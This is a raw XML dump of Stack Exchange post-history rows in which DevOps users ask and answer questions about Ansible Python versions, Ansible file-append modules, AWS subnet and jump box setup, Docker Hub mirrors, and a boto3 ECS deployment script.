https://docs.ansible.com/ansible/latest/reference_appendices/python_3_support.html#using-python-3-on-the-managed-machines-with-commands-and-playbooks&#xD;&#xA;&#xD;&#xA;## Package per Python version&#xD;&#xA;If you do not know whether either Python 3 or 2 is available on each host, ensure to get the right package for each Python version.&#xD;&#xA;```yaml&#xD;&#xA;- apt:&#xD;&#xA;    name: python-pip&#xD;&#xA;  when: ansible_python.version.major==2&#xD;&#xA;&#xD;&#xA;- apt:&#xD;&#xA;    name: python3-pip&#xD;&#xA;  when: ansible_python.version.major==3&#xD;&#xA;```&#xD;&#xA;You may face the same issue when installing Python packages. So a conditional include for version 2 and one for version 3 can keep your playbook neat." ContentLicense="CC BY-SA 4.0" />
  <row Id="31983" PostHistoryTypeId="2" PostId="10402" RevisionGUID="1902824f-75e3-49a6-8a7c-b1047c20d6f5" CreationDate="2020-01-06T13:21:59.760" UserId="14757" Text="## Background&#xD;&#xA;&#xD;&#xA;I want to automatically configure an EC2 via a build, using the aws cli and ssm.&#xD;&#xA;&#xD;&#xA;The (manual) setup for the container looks something like this:&#xD;&#xA;&#xD;&#xA; - Create an EC2&#xD;&#xA; - Run a shell script as root&#xD;&#xA; - Run a shell script as a specific user&#xD;&#xA;&#xD;&#xA;## Question&#xD;&#xA;&#xD;&#xA;Is it possible to run a command on an ec2 utilising a tool such as `aws ssm send-command` specifying the linux user which will execute the command?&#xD;&#xA;&#xD;&#xA;Assuming the command is a shell script, would specifying the user inside the script do the same job? e.g using `sudo su my_user`" ContentLicense="CC BY-SA 4.0" />
  <row Id="31984" PostHistoryTypeId="1" PostId="10402" RevisionGUID="1902824f-75e3-49a6-8a7c-b1047c20d6f5" CreationDate="2020-01-06T13:21:59.760" UserId="14757" Text="Running a command as a specific user on an ec2 using ssm" ContentLicense="CC BY-SA 4.0" />
  <row Id="31985" PostHistoryTypeId="3" PostId="10402" RevisionGUID="1902824f-75e3-49a6-8a7c-b1047c20d6f5" CreationDate="2020-01-06T13:21:59.760" UserId="14757" Text="&lt;amazon-web-services&gt;&lt;linux&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31995" PostHistoryTypeId="2" PostId="10406" RevisionGUID="87fed36c-af0e-4b93-b733-0621eb57da01" CreationDate="2020-01-07T00:25:44.217" UserId="18666" Text="I have a custom VPC with 3 public subnets and 3 private subnets. I have three ec2 instances with elastic IP addresses in the public subnets taking traffic on port 80 (security group is configured to allow access on port 80 in public subnets which are behind an Internet Gateway). I created an Auto Scaling Group and linked it with the three public subnets to increase/decrease instances dependent on traffic. I attached a Target Group to the Auto Scaling Group with access to port 80. Now I plan to create an Application Load Balancer and attach that Target Group to it so that the Load Balancer can distribute load using the Auto Scaler.&#xD;&#xA;&#xD;&#xA;In the AWS docs 'Application Load Balancer Getting Started', it states the following:&#xD;&#xA;&#xD;&#xA;Before you begin: Decide which two Availability Zones you will use for your EC2 instances. Configure your virtual private cloud (VPC) with at least one public subnet in each of these Availability Zones. These public subnets are used to configure the load balancer. You can launch your EC2 instances in other subnets of these Availability Zones instead.&#xD;&#xA;&#xD;&#xA;Notice at the end of the paragraph it says 'instead', as if you should not have EC2 instances configured in the same public subnets as your Load Balancer. Am I interpreting this correctly? You should not have EC2 instances and Load Balancers in the same subnet?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31996" PostHistoryTypeId="1" PostId="10406" RevisionGUID="87fed36c-af0e-4b93-b733-0621eb57da01" CreationDate="2020-01-07T00:25:44.217" UserId="18666" Text="Load Balancer and EC2 in same subnet?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31997" PostHistoryTypeId="3" PostId="10406" RevisionGUID="87fed36c-af0e-4b93-b733-0621eb57da01" CreationDate="2020-01-07T00:25:44.217" UserId="18666" Text="&lt;amazon-web-services&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31998" PostHistoryTypeId="2" PostId="10407" RevisionGUID="dfc639a3-c542-439d-af58-51271df65ab4" CreationDate="2020-01-07T00:43:44.460" UserId="8800" Text="The best practice is to have your **web, app and db servers** in **private** subnets and only the actual **front end** - which is *ALB* in your case - in the **public** subnet. The reason is that web, app and db servers shouldn't be accessible from outside even if by accident (e.g. through security group left too open).&#xD;&#xA;&#xD;&#xA;Technically it will still work to have both the ALB and the instances in public subnet but it's not recommended for the above reason. Also make sure to lock down access to the instance port 80 and 443 only from the ALB SG if you don't want any direct traffic.&#xD;&#xA;&#xD;&#xA;Hope that helps :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="31999" PostHistoryTypeId="5" PostId="10400" RevisionGUID="975ca52a-f70d-4d7d-a463-a29038aa5b18" CreationDate="2020-01-07T03:34:58.833" UserId="18932" Comment="added 13 characters in body; added 59 characters in body" Text="There are two options either you make sure you use the same Python version on each host or you make sure the right packages are installed on each platform.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Chose same Python interpreter&#xD;&#xA;Provide the python binary to use. Since you have a Debian on each host, the location is always the same. If you know a Python version that is available on each host, go for this.&#xD;&#xA;&#xD;&#xA;Either in your inventory `hosts`&#xD;&#xA;```yaml&#xD;&#xA;[webserver]&#xD;&#xA;srv1.example.com&#xD;&#xA;srv2.example.com&#xD;&#xA;&#xD;&#xA;[webserver:vars]&#xD;&#xA;ansible_python_interpreter=/usr/bin/python3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Or in your Ansible configuration `ansible.cfg`&#xD;&#xA;```yaml&#xD;&#xA;ansible_python_interpreter=/usr/bin/python3&#xD;&#xA;```&#xD;&#xA;See also https://docs.ansible.com/ansible/latest/reference_appendices/python_3_support.html#using-python-3-on-the-managed-machines-with-commands-and-playbooks&#xD;&#xA;&#xD;&#xA;## Package per Python version&#xD;&#xA;If you do not know whether either Python 3 or 2 is available on each host, ensure to get the right package for each Python version.&#xD;&#xA;```yaml&#xD;&#xA;- apt:&#xD;&#xA;    name: python-pip&#xD;&#xA;  when: ansible_python.version.major==2&#xD;&#xA;&#xD;&#xA;- apt:&#xD;&#xA;    name: python3-pip&#xD;&#xA;  when: ansible_python.version.major==3&#xD;&#xA;```&#xD;&#xA;You may face the same issue when installing Python packages. So you can put your Pythone version specific tasks in a v2 and in a v3 file and conditionally include one for version 2 and the other for version 3." ContentLicense="CC BY-SA 4.0" />
  <row Id="32004" PostHistoryTypeId="2" PostId="10409" RevisionGUID="ca92fe78-36c8-4b57-8ca1-7417f7b97f25" CreationDate="2020-01-07T06:06:37.240" UserId="14770" Text="I have about 10 hosts that I run a playbook for them with `serial:1`. in this playbook there is this code which append output of all commands in one file:&#xD;&#xA;&#xD;&#xA;        - name: copy the output to a local file&#xD;&#xA;          lineinfile:&#xD;&#xA;           dest: &quot;{{ myshell_output4.stdout }}&quot;&#xD;&#xA;           line: &quot;{{ item }}&quot;&#xD;&#xA;           insertafter: EOF&#xD;&#xA;          with_items:&#xD;&#xA;            - &quot;########################################################&quot;&#xD;&#xA;            - &quot;###############HOSTNAME:{{ inventory_hostname }}################&quot;&#xD;&#xA;            - &quot;{{ myshell_output3.stdout }}&quot;&#xD;&#xA;            - &quot;########################END#############################&quot;&#xD;&#xA;         delegate_to: localhost&#xD;&#xA;&#xD;&#xA;it is always working for the first host but for others it only insert second and third line and skip first and last line. the out put of file is like this:&#xD;&#xA;&#xD;&#xA;      ########################################################&#xD;&#xA;      ###############HOSTNAME:12.15.1.1################&#xD;&#xA;      (some output here)&#xD;&#xA;      ########################END#############################&#xD;&#xA;      ###############HOSTNAME:12.15.2.2################&#xD;&#xA;      (some output here)&#xD;&#xA;      ###############HOSTNAME:12.15.3.3################&#xD;&#xA;      (some output here)&#xD;&#xA;      .&#xD;&#xA;      .&#xD;&#xA;&#xD;&#xA;why this happen and how i can prevent it?&#xD;&#xA;      &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32005" PostHistoryTypeId="1" PostId="10409" RevisionGUID="ca92fe78-36c8-4b57-8ca1-7417f7b97f25" CreationDate="2020-01-07T06:06:37.240" UserId="14770" Text="Why Ansible skip items in inserafter?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32006" PostHistoryTypeId="3" PostId="10409" RevisionGUID="ca92fe78-36c8-4b57-8ca1-7417f7b97f25" CreationDate="2020-01-07T06:06:37.240" UserId="14770" Text="&lt;ansible&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32009" PostHistoryTypeId="2" PostId="10410" RevisionGUID="de46addf-8e9c-456a-9fb3-f782ef14164d" CreationDate="2020-01-07T07:09:37.417" UserId="18932" Text="It appears Ansible ensures the lines are added only once after EOF. I do not know how to avoid this using lineinfile. However, you can try blockinfile. Since each block is different, I assume this should work.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;    - name: copy the output to a local file&#xD;&#xA;      blockinfile:&#xD;&#xA;       dest: &quot;{{ myshell_output4.stdout }}&quot;&#xD;&#xA;       block: |&#xD;&#xA;         ########################################################&#xD;&#xA;         ###############HOSTNAME:{{ inventory_hostname }}################&#xD;&#xA;         {{ myshell_output3.stdout }}&#xD;&#xA;         ########################END#############################&#xD;&#xA;     delegate_to: localhost&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="32013" PostHistoryTypeId="2" PostId="10412" RevisionGUID="d7058e95-0780-40ae-a668-565fd56e9eca" CreationDate="2020-01-07T08:48:55.950" UserId="6001" Text="To add a little extra to @MLu's answer, and to be even more paranoid...&#xD;&#xA;&#xD;&#xA;You may wish to set up a tiny server in yet another subnet as a &quot;jump box&quot;. Allow SSH access to the jumpbox subnet from the outside (port 22), but only allow SSH access to your app server subnet from this jumpbox subnet.&#xD;&#xA;&#xD;&#xA;With this set up the only way to access your app server is by first logging into the jumpbox, and then doing an extra ssh hop to your app server. There is no other path for ssh from the outside world to your app server.&#xD;&#xA;&#xD;&#xA;If this becomes a nuisance for initial set up or debugging, you can invest 15 minutes (or more, it's fiddly the first time) setting up twin ssh tunnels to go from your local machine straight through to the app server.&#xD;&#xA;&#xD;&#xA;Most of the time you can leave the jumpbox shut down, so there is no ssh path through to the app server. For extra paranoia, you can restrict access to the jumpbox subnet to your specific (whitelisted) IP address.&#xD;&#xA;&#xD;&#xA;If you are still concerned about hackers, you can also set up sshd on the jumpbox to listen on other than the default port 22, so a hacker's port scanner is slightly less likely to find it when your jumpbox is running.&#xD;&#xA;&#xD;&#xA;Ideally, leave no information on the jumpbox to suggest the IP address of your app server (i.e. no scripts), so a hacker that somehow does get into the jumpbox will have no clues how to proceed further." ContentLicense="CC BY-SA 4.0" />
  <row Id="32014" PostHistoryTypeId="2" PostId="10413" RevisionGUID="5c505422-92b3-4842-9f01-1a4a9b55b7d0" CreationDate="2020-01-07T11:27:58.633" UserId="707" Text="Historically, you can download official community software from a distributed mirror network.&#xD;&#xA;&#xD;&#xA;Even for Java Maven, there are two sites globally.&#xD;&#xA;&#xD;&#xA;But what is about Docker Hub? What if Docker, Inc. decides to close the Hub or the site will become unstable?&#xD;&#xA;&#xD;&#xA;Beyond just having business critical images which you can rebuild and store locally, Docker Hub is also:&#xD;&#xA;&#xD;&#xA;* indicator that a release is official&#xD;&#xA;* often provides Dockerfile which is very valueable configuratuon knowledge&#xD;&#xA;* provides links to backing GitHub projects&#xD;&#xA;* features like starring and download numbers&#xD;&#xA;&#xD;&#xA;Are there other mirrors not hosted by Docker either comparable initiatives so that an open source community would say &quot;ok we can publish our release also there&quot;?&#xD;&#xA;&#xD;&#xA;After a short research, I see there are many products to setup your own registry, blbut not an alternative Hub site.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32015" PostHistoryTypeId="1" PostId="10413" RevisionGUID="5c505422-92b3-4842-9f01-1a4a9b55b7d0" CreationDate="2020-01-07T11:27:58.633" UserId="707" Text="Are there Docker Hub comparable public Docker image repositories?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32016" PostHistoryTypeId="3" PostId="10413" RevisionGUID="5c505422-92b3-4842-9f01-1a4a9b55b7d0" CreationDate="2020-01-07T11:27:58.633" UserId="707" Text="&lt;culture&gt;&lt;docker-registry&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32017" PostHistoryTypeId="5" PostId="10413" RevisionGUID="587654ae-cc1b-4846-b54d-a2b45d4640bf" CreationDate="2020-01-07T11:42:03.140" UserId="354" Comment="minor typos" Text="Historically, you can download official community software from a distributed mirror network.&#xD;&#xA;&#xD;&#xA;Even for Java Maven, there are two sites globally.&#xD;&#xA;&#xD;&#xA;But what is about Docker Hub? What if Docker, Inc. decides to close the Hub or the site will become unstable?&#xD;&#xA;&#xD;&#xA;Beyond just having business critical images which you can rebuild and store locally, Docker Hub is also:&#xD;&#xA;&#xD;&#xA;* indicator that a release is official&#xD;&#xA;* often provides Dockerfile which is very valuable configuration knowledge&#xD;&#xA;* provides links to backing GitHub projects&#xD;&#xA;* features like starring and download numbers&#xD;&#xA;&#xD;&#xA;Are there other mirrors not hosted by Docker either comparable initiatives so that an open source community would say &quot;ok we can publish our release also there&quot;?&#xD;&#xA;&#xD;&#xA;After a short research, I see there are many products to setup your own registry, but not an alternative Hub site.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32018" PostHistoryTypeId="2" PostId="10414" RevisionGUID="aa7a71aa-e332-432a-a3f6-18bdf5b9b67c" CreationDate="2020-01-07T12:43:57.830" UserId="18304" Text="So I've built a docker image locally with packer.&#xD;&#xA;When running the image locally, everything is fine.&#xD;&#xA;But for my deployment I've uploaded the docker image to the ECR and started it on ECS. &#xD;&#xA;However not all services in the container got started correctly. &#xD;&#xA;I assume this is because on AWS the CMD of the container got overwritten or cleared.&#xD;&#xA;Locally in the packer template I have the CMD defined:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;            &quot;image&quot;: &quot;ubuntu:latest&quot;,&#xD;&#xA;            &quot;changes&quot;: [&#xD;&#xA;                &quot;WORKDIR /tmp&quot;,&#xD;&#xA;                &quot;EXPOSE 21&quot;,&#xD;&#xA;                &quot;CMD [\&quot;/tmp/run.sh\&quot;]&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;commit&quot;: true,&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Since I automate the deployment to ECS with boto3.&#xD;&#xA;I create a cluster, spin up a EC2 instance, register a task definition and  create a service to start the container. &#xD;&#xA;How would I make sure the same CMD is executed when I deploy to ECS?&#xD;&#xA;Where can I define the CMD is my deployment chain." ContentLicense="CC BY-SA 4.0" />
  <row Id="32019" PostHistoryTypeId="1" PostId="10414" RevisionGUID="aa7a71aa-e332-432a-a3f6-18bdf5b9b67c" CreationDate="2020-01-07T12:43:57.830" UserId="18304" Text="AWS ECS Overwrites Docker Entrypoint Command?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32020" PostHistoryTypeId="3" PostId="10414" RevisionGUID="aa7a71aa-e332-432a-a3f6-18bdf5b9b67c" CreationDate="2020-01-07T12:43:57.830" UserId="18304" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;&lt;aws-ecr&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32021" PostHistoryTypeId="5" PostId="10410" RevisionGUID="e6924d1b-6f5b-4a36-a67a-27a39c6bb3a4" CreationDate="2020-01-07T12:56:52.167" UserId="18932" Comment="added 1279 characters in body" Text="Apparently `delegate_to` and `lininfile` or `blockinfile` do not work properly together, https://github.com/ansible/ansible/issues/28313.&#xD;&#xA;&#xD;&#xA;## Module `blockinfile`&#xD;&#xA;It seems redundant lines have not been written as you would expect. Eventually, `blockinfile` without a marker does the job.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: copy the output to a local file&#xD;&#xA;  blockinfile:&#xD;&#xA;    dest: &quot;{{ myshell_output4.stdout }}&quot;&#xD;&#xA;    marker: false&#xD;&#xA;    block: |&#xD;&#xA;      ########################################################&#xD;&#xA;      ###############HOSTNAME:{{ inventory_hostname }}################&#xD;&#xA;      {{ myshell_output3.stdout }}&#xD;&#xA;      ########################END#############################&#xD;&#xA;  delegate_to: localhost&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## Concatenate files at the end&#xD;&#xA;Alternatively, you can write to different files and concatenate those files after all tasks have run.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: copy the output to a local file&#xD;&#xA;  copy:&#xD;&#xA;    content: |&#xD;&#xA;      ########################################################&#xD;&#xA;      ###############HOSTNAME:{{ inventory_hostname }}################&#xD;&#xA;      {{ myshell_output3.stdout }}&#xD;&#xA;      ########################END#############################&#xD;&#xA;    dest: tmp/{{ inventory_hostname }}&#xD;&#xA;  delegate_to: localhost&#xD;&#xA;&#xD;&#xA;- name: log files are concatenated&#xD;&#xA;  assemble:&#xD;&#xA;    src: tmp/&#xD;&#xA;    dest: &quot;{{ myshell_output4.stdout }}&quot;&#xD;&#xA;  delegate_to: localhost&#xD;&#xA;  run_once: true&#xD;&#xA;&#xD;&#xA;- name: tmp folder is absent&#xD;&#xA;  path:&#xD;&#xA;    src: tmp/&#xD;&#xA;    state: absent&#xD;&#xA;  delegate_to: localhost&#xD;&#xA;  run_once: true&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In case your local file `myshell_output4.stdout` does exist already and you want to append to an  existing file, you assemble the files `tmp/*` into `tmp/assembled` and the append them with `lineinfile`.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: append assembled to a local file&#xD;&#xA;  lineinfile:&#xD;&#xA;    dest: &quot;{{ myshell_output4.stdout }}&quot;&#xD;&#xA;    line: &quot;{{ lookup('file', tmp/assembled) }}&quot;&#xD;&#xA;  delegate_to: localhost&#xD;&#xA;  run_once: true&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="32022" PostHistoryTypeId="5" PostId="10414" RevisionGUID="caa18c21-6faf-4777-b9aa-90a3865d82e1" CreationDate="2020-01-07T14:18:54.893" UserId="18304" Comment="added 2312 characters in body" Text="So I've built a docker image locally with packer.&#xD;&#xA;When running the image locally, everything is fine.&#xD;&#xA;But for my deployment I've uploaded the docker image to the ECR and started it on ECS. &#xD;&#xA;However not all services in the container got started correctly. &#xD;&#xA;I assume this is because on AWS the CMD of the container got overwritten or cleared.&#xD;&#xA;Locally in the packer template I have the CMD defined:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;            &quot;image&quot;: &quot;ubuntu:latest&quot;,&#xD;&#xA;            &quot;changes&quot;: [&#xD;&#xA;                &quot;WORKDIR /tmp&quot;,&#xD;&#xA;                &quot;EXPOSE 21&quot;,&#xD;&#xA;                &quot;CMD [\&quot;/tmp/run.sh\&quot;]&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;commit&quot;: true,&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Since I automate the deployment to ECS with boto3.&#xD;&#xA;I create a cluster, spin up a EC2 instance, register a task definition and  create a service to start the container. &#xD;&#xA;How would I make sure the same CMD is executed when I deploy to ECS?&#xD;&#xA;Where can I define the CMD is my deployment chain.&#xD;&#xA;&#xD;&#xA;This is how my script looks like:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    &#xD;&#xA;    CLUSTER_NAME = &quot;test_cluster&quot;&#xD;&#xA;    SERVICE_NAME = &quot;test_service&quot;&#xD;&#xA;    TASK_NAME = &quot;test_task&quot;&#xD;&#xA;    AWS_REGION = &quot;eu-west-1&quot;&#xD;&#xA;    AWS_SECRET_KEY = &quot;&lt;snip&gt;&quot;&#xD;&#xA;    AWS_ACCESS_KEY = &quot;&lt;snip&gt;&quot;&#xD;&#xA;    &#xD;&#xA;    # 1. Create a new ECS and EC2 clients&#xD;&#xA;    ecs_client = boto3.client(&#xD;&#xA;        service_name=&quot;ecs&quot;,&#xD;&#xA;        aws_access_key_id=AWS_ACCESS_KEY,&#xD;&#xA;        aws_secret_access_key=AWS_SECRET_KEY,&#xD;&#xA;        region_name=AWS_REGION&#xD;&#xA;    )&#xD;&#xA;    &#xD;&#xA;    ec2_client = boto3.client(&#xD;&#xA;        service_name=&quot;ec2&quot;,&#xD;&#xA;        aws_access_key_id=AWS_ACCESS_KEY,&#xD;&#xA;        aws_secret_access_key=AWS_SECRET_KEY,&#xD;&#xA;        region_name=AWS_REGION&#xD;&#xA;    )&#xD;&#xA;    print(&quot;Created ECS and C2 clients&quot;)&#xD;&#xA;    &#xD;&#xA;    # 2. Spawn new cluster &#xD;&#xA;    ecs_client.create_cluster(clusterName=CLUSTER_NAME)&#xD;&#xA;    print(&quot;Created ECS cluster&quot;)&#xD;&#xA;    &#xD;&#xA;    # 3. Start EC2 instace&#xD;&#xA;    ec2_client.run_instances(&#xD;&#xA;        ImageId=&quot;ami-01f14919ba412de34&quot;,&#xD;&#xA;        MinCount=1,&#xD;&#xA;        MaxCount=1,&#xD;&#xA;        InstanceType=&quot;t2.micro&quot;,&#xD;&#xA;        IamInstanceProfile={&#xD;&#xA;            &quot;Name&quot;: &quot;ecsInstanceRole&quot;&#xD;&#xA;        },&#xD;&#xA;        UserData=&quot;#!/bin/bash \n echo ECS_CLUSTER=&quot; + CLUSTER_NAME + &quot; &gt;&gt; /etc/ecs/ecs.config&quot;&#xD;&#xA;    )&#xD;&#xA;    print(&quot;Started EC2 instance!&quot;)&#xD;&#xA;    &#xD;&#xA;    # 4. Register a new task definition&#xD;&#xA;    ecs_client.register_task_definition(&#xD;&#xA;            containerDefinitions=[&#xD;&#xA;            {&#xD;&#xA;                &quot;name&quot;: &quot;testservice&quot;,&#xD;&#xA;                &quot;image&quot;: &quot;&quot;&lt;snip&gt;&quot;&quot;,&#xD;&#xA;                'cpu': 2,&#xD;&#xA;                'memory': 2048,&#xD;&#xA;                &quot;portMappings&quot;: &#xD;&#xA;                [&#xD;&#xA;                    {&#xD;&#xA;                        &quot;containerPort&quot;: 21,&#xD;&#xA;                        &quot;hostPort&quot;: 21&#xD;&#xA;                    }&#xD;&#xA;                ]&#xD;&#xA;            }&#xD;&#xA;        ],&#xD;&#xA;        family=TASK_NAME&#xD;&#xA;    )&#xD;&#xA;    print(&quot;Registered task definition&quot;)&#xD;&#xA;    &#xD;&#xA;    # 5. Create service to start docker container&#xD;&#xA;    ecs_client.create_service(&#xD;&#xA;        cluster=CLUSTER_NAME,&#xD;&#xA;        serviceName=SERVICE_NAME,&#xD;&#xA;        taskDefinition=TASK_NAME,&#xD;&#xA;        desiredCount=1,&#xD;&#xA;        clientToken='request_identifier_string',&#xD;&#xA;        deploymentConfiguration={&#xD;&#xA;            'maximumPercent': 200,&#xD;&#xA;            'minimumHealthyPercent': 50&#xD;&#xA;        }&#xD;&#xA;    )&#xD;&#xA;    print(&quot;Started service. Docker image should be up and running now..&quot;)" ContentLicense="CC BY-SA 4.0" />
  <row Id="32025" PostHistoryTypeId="6" PostId="10413" RevisionGUID="d3999e3f-8611-4442-9240-6186056e326d" CreationDate="2020-01-07T16:06:21.107" UserId="707" Comment="edited tags" Text="&lt;culture&gt;&lt;docker-registry&gt;&lt;images&gt;&lt;risk&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32026" PostHistoryTypeId="2" PostId="10415" RevisionGUID="66714762-6c49-4788-8c37-84d59385b09e" CreationDate="2020-01-07T16:10:06.863" UserId="15792" Text="With Docker following the [Open Container Initiative][6], in the event that Docker were to disappear, people would still have access to images stored outside of Docker Hub.&#xD;&#xA;&#xD;&#xA;While there is not a public mirror of Docker Hub, you do have access to other registries that often store the official image.&#xD;&#xA;&#xD;&#xA;For example, if you were to pull the [official Docker SQL Server image][1], you would target `mcr.microsoft.com/mssql/server:2019`.  So even though the image can be searched on in [Docker Hub][2], the image still exists outside of Docker Hub.  The three big cloud providers ([Azure][3], [AWS][4], and [Google][5]) all have container registries that allow public access.  Many of the cloud registries support storing of images in regions and would allow &quot;mirrored&quot; architectures that are transparent to the public and disaster recovery (i.e. end users only pull from one link and the provider routes to an active available registry).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/sql/linux/quickstart-install-connect-docker?view=sql-server-ver15&amp;pivots=cs1-powershell&#xD;&#xA;  [2]: https://hub.docker.com/_/microsoft-mssql-server&#xD;&#xA;  [3]: https://azure.microsoft.com/en-us/services/container-registry/&#xD;&#xA;  [4]: https://aws.amazon.com/ecr/&#xD;&#xA;  [5]: https://cloud.google.com/container-registry/&#xD;&#xA;  [6]: https://www.opencontainers.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="32032" PostHistoryTypeId="5" PostId="10414" RevisionGUID="b4a0eacb-d05c-48cd-8a69-cff77b20ded1" CreationDate="2020-01-07T16:48:05.933" UserId="18304" Comment="Added further attempts to investigate the problem" Text="So I've built a docker image locally with packer.&#xD;&#xA;When running the image locally, everything is fine.&#xD;&#xA;But for my deployment I've uploaded the docker image to the ECR and started it on ECS. &#xD;&#xA;However not all services in the container got started correctly. &#xD;&#xA;I assume this is because on AWS the CMD of the container got overwritten or cleared.&#xD;&#xA;Locally in the packer template I have the CMD defined:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;            &quot;image&quot;: &quot;ubuntu:latest&quot;,&#xD;&#xA;            &quot;changes&quot;: [&#xD;&#xA;                &quot;WORKDIR /tmp&quot;,&#xD;&#xA;                &quot;EXPOSE 21&quot;,&#xD;&#xA;                &quot;CMD [\&quot;/tmp/run.sh\&quot;]&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;commit&quot;: true,&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Since I automate the deployment to ECS with boto3.&#xD;&#xA;I create a cluster, spin up a EC2 instance, register a task definition and  create a service to start the container. &#xD;&#xA;How would I make sure the same CMD is executed when I deploy to ECS?&#xD;&#xA;Where can I define the CMD is my deployment chain.&#xD;&#xA;&#xD;&#xA;This is how my script looks like:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    &#xD;&#xA;    CLUSTER_NAME = &quot;test_cluster&quot;&#xD;&#xA;    SERVICE_NAME = &quot;test_service&quot;&#xD;&#xA;    TASK_NAME = &quot;test_task&quot;&#xD;&#xA;    AWS_REGION = &quot;eu-west-1&quot;&#xD;&#xA;    AWS_SECRET_KEY = &quot;&lt;snip&gt;&quot;&#xD;&#xA;    AWS_ACCESS_KEY = &quot;&lt;snip&gt;&quot;&#xD;&#xA;    &#xD;&#xA;    # 1. Create a new ECS and EC2 clients&#xD;&#xA;    ecs_client = boto3.client(&#xD;&#xA;        service_name=&quot;ecs&quot;,&#xD;&#xA;        aws_access_key_id=AWS_ACCESS_KEY,&#xD;&#xA;        aws_secret_access_key=AWS_SECRET_KEY,&#xD;&#xA;        region_name=AWS_REGION&#xD;&#xA;    )&#xD;&#xA;    &#xD;&#xA;    ec2_client = boto3.client(&#xD;&#xA;        service_name=&quot;ec2&quot;,&#xD;&#xA;        aws_access_key_id=AWS_ACCESS_KEY,&#xD;&#xA;        aws_secret_access_key=AWS_SECRET_KEY,&#xD;&#xA;        region_name=AWS_REGION&#xD;&#xA;    )&#xD;&#xA;    print(&quot;Created ECS and C2 clients&quot;)&#xD;&#xA;    &#xD;&#xA;    # 2. Spawn new cluster &#xD;&#xA;    ecs_client.create_cluster(clusterName=CLUSTER_NAME)&#xD;&#xA;    print(&quot;Created ECS cluster&quot;)&#xD;&#xA;    &#xD;&#xA;    # 3. Start EC2 instace&#xD;&#xA;    ec2_client.run_instances(&#xD;&#xA;        ImageId=&quot;ami-01f14919ba412de34&quot;,&#xD;&#xA;        MinCount=1,&#xD;&#xA;        MaxCount=1,&#xD;&#xA;        InstanceType=&quot;t2.micro&quot;,&#xD;&#xA;        IamInstanceProfile={&#xD;&#xA;            &quot;Name&quot;: &quot;ecsInstanceRole&quot;&#xD;&#xA;        },&#xD;&#xA;        UserData=&quot;#!/bin/bash \n echo ECS_CLUSTER=&quot; + CLUSTER_NAME + &quot; &gt;&gt; /etc/ecs/ecs.config&quot;&#xD;&#xA;    )&#xD;&#xA;    print(&quot;Started EC2 instance!&quot;)&#xD;&#xA;    &#xD;&#xA;    # 4. Register a new task definition&#xD;&#xA;    ecs_client.register_task_definition(&#xD;&#xA;            containerDefinitions=[&#xD;&#xA;            {&#xD;&#xA;                &quot;name&quot;: &quot;testservice&quot;,&#xD;&#xA;                &quot;image&quot;: &quot;&quot;&lt;snip&gt;&quot;&quot;,&#xD;&#xA;                'cpu': 2,&#xD;&#xA;                'memory': 2048,&#xD;&#xA;                &quot;portMappings&quot;: &#xD;&#xA;                [&#xD;&#xA;                    {&#xD;&#xA;                        &quot;containerPort&quot;: 21,&#xD;&#xA;                        &quot;hostPort&quot;: 21&#xD;&#xA;                    }&#xD;&#xA;                ]&#xD;&#xA;            }&#xD;&#xA;        ],&#xD;&#xA;        family=TASK_NAME&#xD;&#xA;    )&#xD;&#xA;    print(&quot;Registered task definition&quot;)&#xD;&#xA;    &#xD;&#xA;    # 5. Create service to start docker container&#xD;&#xA;    ecs_client.create_service(&#xD;&#xA;        cluster=CLUSTER_NAME,&#xD;&#xA;        serviceName=SERVICE_NAME,&#xD;&#xA;        taskDefinition=TASK_NAME,&#xD;&#xA;        desiredCount=1,&#xD;&#xA;        clientToken='request_identifier_string',&#xD;&#xA;        deploymentConfiguration={&#xD;&#xA;            'maximumPercent': 200,&#xD;&#xA;            'minimumHealthyPercent': 50&#xD;&#xA;        }&#xD;&#xA;    )&#xD;&#xA;    print(&quot;Started service. Docker image should be up and running now..&quot;)&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;After various testing I was able to spin up the instance, but my container was still not started correctly. 